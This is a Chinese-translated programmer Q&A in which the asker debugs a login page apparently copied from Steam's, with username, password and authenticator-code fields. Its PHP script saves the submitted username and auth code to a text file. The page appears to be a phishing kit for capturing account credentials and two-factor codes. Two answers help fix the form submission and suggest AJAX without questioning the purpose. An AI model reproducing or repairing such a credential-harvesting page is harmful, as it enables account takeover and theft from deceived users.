将表单提交到 php 脚本的问题答案

【问题标题】：Problems with submitting a form into a php script将表单提交到 php 脚本的问题
【发布时间】：2018-01-12 23:53:50
【问题描述】：

所以我有这个表格。我现在的方式是用户将输入他们的用户名和密码，然后单击登录，（身份验证引脚被隐藏）直到单击显示 div 的登录按钮并且用户输入他们的验证针。我遇到的问题是无论我在文本框中提交什么，都没有提交到我在这里的 php 脚本中：

<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:("; 
?>

<!DOCTYPE html>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</head>

表单名称都输入正确，并且我将操作设置为正确的脚本，但是当我检查生成的文本文件时，没有输入。我希望提交验证 PIN 的按钮提交所有 3 个详细信息（用户、密码、身份验证码）的表单和登录按钮以取消隐藏验证 div（工作正常）。任何帮助将不胜感激。

提交表单的javascript函数是

<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}

https://jsfiddle.net/jxd0g2z4/

【问题讨论】：

函数submitForms()在哪里定义的？
我现在将更新我的代码。
如果文件无法打开，您的 PHP 可能会被终止。您可以尝试使用打开文件的部分提交吗？
action=/loginaction 是打开文件的部分我很确定
还有一点很重要，那就是表单是否提交回同一页面。顶部的 php 是用来处理表单提交的，对吗？

标签： javascript php jquery html forms

【解决方案1】：

该函数调用 id 为“submit”的表单，但您的表单没有 id 标签。它只有一个名称标签。您可以添加标签或更改选择器。

<form action="/loginaction.php" method="post" name="submit" id='submit'>

如果它已经在 html 中，则不需要定义该操作，但如果您这样做，则需要在提交函数调用之前进行。

我刚刚注意到的另一个错误是定义 submitForms 函数的语法。函数名后面的括号如下：

<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}

最后的</head> 标记也有可能会丢掉一些东西。下面是我复制 html 和 javascript 以确保它通过的图像。

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}
</script>
</head>
<body>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</body>
</html>

【讨论】：

我将表单更改为正确的 ID，但没有任何内容输出到我的文本文件中。
我从函数中删除了该操作。当我检查输出文件时，显示的只是分号，这是否意味着我的表单没有正确提交？
对不起，该函数之前没有正确定义。语法错误。我只是在这里添加了代码。
我把我的函数改成了你提供的那个，用户名和验证码仍然没有输出到我的文本文件中，这很奇怪

【解决方案2】：

不知道我的问题是否正确，但对我来说，这看起来对你来说有点难以解决。我建议仅加载第一个表单，此表单与 ajax 一起发送到一个 php 文件，该文件执行您需要执行的操作（写入文件）并回答一个新的 html 代码，您应该将其替换为原始加载的 html 代码。在这里，您将发送第二个表格。在这里您的优势是，如果出现错误，您可以再次发送相同的表格。

编辑

如果你加载了 jQuery，你可以使用这个函数。你的表单只需要一个类标签来激活它，比如：

<form action="yourfile.php" id="myForm" class="ajax-form">

这个表单在提交时会激活该功能。

$(".ajax-form").submit(function(e) {
    e.preventDefault();
    var form = $(this);
    var formID = form.attr('id');
    $.ajax({
        context: this,
        async: true,
        type: "post",
        url: form.prop('action'),
        data: form.serialize(),
        dataType: "html",
        success: function(datavalues) {
            $('#'+formID).replaceWith(datavalues);
        },
        error: function(json) {
            console.log('ARMAGEDDON!!!');
        },
    });
        return false;
});

【讨论】：